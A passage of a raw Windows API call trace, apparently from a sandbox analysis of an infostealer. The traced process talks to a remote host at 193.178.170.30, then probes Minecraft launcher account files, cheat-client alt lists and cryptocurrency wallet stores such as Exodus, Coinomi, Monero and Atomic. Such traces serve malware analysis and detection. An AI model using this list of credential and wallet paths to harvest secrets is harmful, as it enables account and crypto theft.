dwMilliseconds=0x7530, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 1 [0175.207] WSAGetOverlappedResult (in: s=0x200, lpOverlapped=0xc0000674e8, lpcbTransfer=0x28f2a8, fWait=0, lpdwFlags=0x28f2b4 | out: lpcbTransfer=0x28f2a8, lpdwFlags=0x28f2b4) returned 1 [0175.207] SetEvent (hEvent=0xe8) returned 1 [0175.207] setsockopt (s=0x200, level=65535, optname=28688, optval="", optlen=8) returned 0 [0175.208] SetEvent (hEvent=0xcc) returned 1 [0175.208] getsockname (in: s=0x200, name=0xc00036efac, namelen=0xc00036efa8 | out: name=0xc00036efac*(sa_family=2, sin_port=0xc011, sin_addr="192.168.0.96"), namelen=0xc00036efa8) returned 0 [0175.208] getpeername (in: s=0x200, name=0xc00036efac, namelen=0xc00036efa8 | out: name=0xc00036efac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=0xc00036efa8) returned 0 [0175.208] setsockopt (s=0x200, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0175.208] setsockopt (s=0x200, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0175.209] WSAIoctl (in: s=0x200, dwIoControlCode=0x98000004, lpvInBuffer=0xc00036f1ec, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc00036f1d4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc00036f1d4, lpOverlapped=0x0) returned 0 [0175.209] VirtualAlloc (lpAddress=0xc000388000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000388000 [0175.210] WSARecv (in: s=0x200, lpBuffers=0xc000067458, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000067448, lpFlags=0xc0000674c8*=0x0, lpOverlapped=0xc000067418, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000067458*=((len=0x1000, buf=0xc000387000*)), lpNumberOfBytesRecvd=0xc000067448*=0x0, lpFlags=0xc0000674c8*=0x0, lpOverlapped=0xc000067418) returned 0 [0175.210] WSASend (in: s=0x200, lpBuffers=0xc000067528*=((len=0xe2, buf=0xc000388000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000067518, dwFlags=0x0, lpOverlapped=0xc0000674e8, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000067518*=0xe2, lpOverlapped=0xc0000674e8) returned 0 [0175.211] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 0 [0175.211] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x151b9, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 1 [0175.261] WSAGetOverlappedResult (in: s=0x200, lpOverlapped=0xc000067418, lpcbTransfer=0x28f2a8, fWait=0, lpdwFlags=0x28f2b4 | out: lpcbTransfer=0x28f2a8, lpdwFlags=0x28f2b4) returned 1 [0175.261] SetEvent (hEvent=0xcc) returned 1 [0175.262] SetEvent (hEvent=0xe8) returned 1 [0175.262] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\system.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\system.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x204 [0175.262] GetConsoleMode (in: hConsoleHandle=0x204, lpMode=0xc00019ec94 | out: lpMode=0xc00019ec94) returned 0 [0175.265] GetFileType (hFile=0x204) returned 0x1 [0175.329] VirtualAlloc (lpAddress=0xc0002b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b8000 [0175.447] VirtualAlloc (lpAddress=0xc000400000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000400000 [0175.448] VirtualAlloc (lpAddress=0x0, dwSize=0x114d0, flAllocationType=0x3000, flProtect=0x4) returned 0x1d90000 [0175.492] VirtualFree (lpAddress=0xc0002a4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0175.528] VirtualFree (lpAddress=0xc000292000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0175.529] VirtualAlloc (lpAddress=0xc000400000, dwSize=0xa2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000400000 [0175.541] VirtualAlloc (lpAddress=0xc0002ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ba000 [0175.542] VirtualAlloc (lpAddress=0xc0002bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002bc000 [0175.543] VirtualAlloc (lpAddress=0xc0002be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002be000 [0175.543] VirtualAlloc (lpAddress=0xc0002c0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002c0000 [0175.549] VirtualAlloc (lpAddress=0xc0002d0000, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002d0000 [0175.574] VirtualAlloc (lpAddress=0xc0002e2000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002e2000 [0175.576] ReadFile (in: hFile=0x204, lpBuffer=0xc0002e2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019ebdc, lpOverlapped=0x0 | out: lpBuffer=0xc0002e2000*, lpNumberOfBytesRead=0xc00019ebdc*=0x21e, lpOverlapped=0x0) returned 1 [0175.680] ReadFile (in: hFile=0x204, lpBuffer=0xc0002e2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019ebdc, lpOverlapped=0x0 | out: lpBuffer=0xc0002e2000*, lpNumberOfBytesRead=0xc00019ebdc*=0x0, lpOverlapped=0x0) returned 1 [0175.680] CloseHandle (hObject=0x204) returned 1 [0175.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\intentlauncher\\launcherconfig" (normalized: "c:\\users\\keecfmwgj\\intentlauncher\\launcherconfig"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.683] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\intentlauncher\\launcherconfig" (normalized: "c:\\users\\keecfmwgj\\intentlauncher\\launcherconfig"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.683] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\.lunarclient\\settings\\game\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\.lunarclient\\settings\\game\\accounts.json"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.683] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\.lunarclient\\settings\\game\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\.lunarclient\\settings\\game\\accounts.json"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.683] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\TlauncherProfiles.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\tlauncherprofiles.json"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.684] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\TlauncherProfiles.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\tlauncherprofiles.json"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.684] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.feather\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.feather\\accounts.json"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.684] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.feather\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.feather\\accounts.json"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.685] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\meteor-client\\accounts.nbt" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\meteor-client\\accounts.nbt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.685] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\meteor-client\\accounts.nbt" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\meteor-client\\accounts.nbt"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.685] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\Impact\\alts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\impact\\alts.json"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.685] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\Impact\\alts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\impact\\alts.json"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.685] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\Novoline\\alts.novo" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\novoline\\alts.novo"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.686] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\Novoline\\alts.novo" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\novoline\\alts.novo"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.686] VirtualAlloc (lpAddress=0xc0002ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ea000 [0175.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\launcher_accounts_microsoft_store.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\launcher_accounts_microsoft_store.json"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.686] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\launcher_accounts_microsoft_store.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\launcher_accounts_microsoft_store.json"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\Rise\\alts.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\rise\\alts.txt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.687] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\.minecraft\\Rise\\alts.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\.minecraft\\rise\\alts.txt"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\intentlauncher\\Rise\\alts.txt" (normalized: "c:\\users\\keecfmwgj\\intentlauncher\\rise\\alts.txt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.687] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\intentlauncher\\Rise\\alts.txt" (normalized: "c:\\users\\keecfmwgj\\intentlauncher\\rise\\alts.txt"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.688] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\paladium-group\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\paladium-group\\accounts.json"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.688] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\paladium-group\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\paladium-group\\accounts.json"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.688] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\PolyMC\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\polymc\\accounts.json"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.688] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\PolyMC\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\polymc\\accounts.json"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Badlion Client\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\badlion client\\accounts.json"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.689] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Badlion Client\\accounts.json" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\badlion client\\accounts.json"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.689] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc000056c30, nSize=0x64 | out: lpBuffer="") returned 0x22 [0175.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Exodus\\exodus.wallet" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\exodus\\exodus.wallet"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.689] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Exodus\\exodus.wallet" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\exodus\\exodus.wallet"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.712] GetEnvironmentVariableW (in: lpName="LOCALAPPDATA", lpBuffer=0xc000056d00, nSize=0x64 | out: lpBuffer="") returned 0x20 [0175.713] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\coinomi\\coinomi\\wallets" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\coinomi\\coinomi\\wallets"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.713] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\coinomi\\coinomi\\wallets" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\coinomi\\coinomi\\wallets"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.713] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc000056dd0, nSize=0x64 | out: lpBuffer="") returned 0x22 [0175.713] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Tox" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\tox"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.714] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Tox" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\tox"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.714] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000056ea0, nSize=0x64 | out: lpBuffer="") returned 0x12 [0175.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Monero\\wallets" (normalized: "c:\\users\\keecfmwgj\\documents\\monero\\wallets"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.715] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Monero\\wallets" (normalized: "c:\\users\\keecfmwgj\\documents\\monero\\wallets"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.715] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc000056f70, nSize=0x64 | out: lpBuffer="") returned 0x22 [0175.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic\\databases" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic\\databases"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.736] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic\\databases" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic\\databases"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic\\databases" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic\\databases"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.736] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic\\databases" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic\\databases"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.760] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic\\databases" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic\\databases"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.760] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic\\databases" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic\\databases"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic\\databases" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic\\databases"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.761] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic\\databases" (normalized: 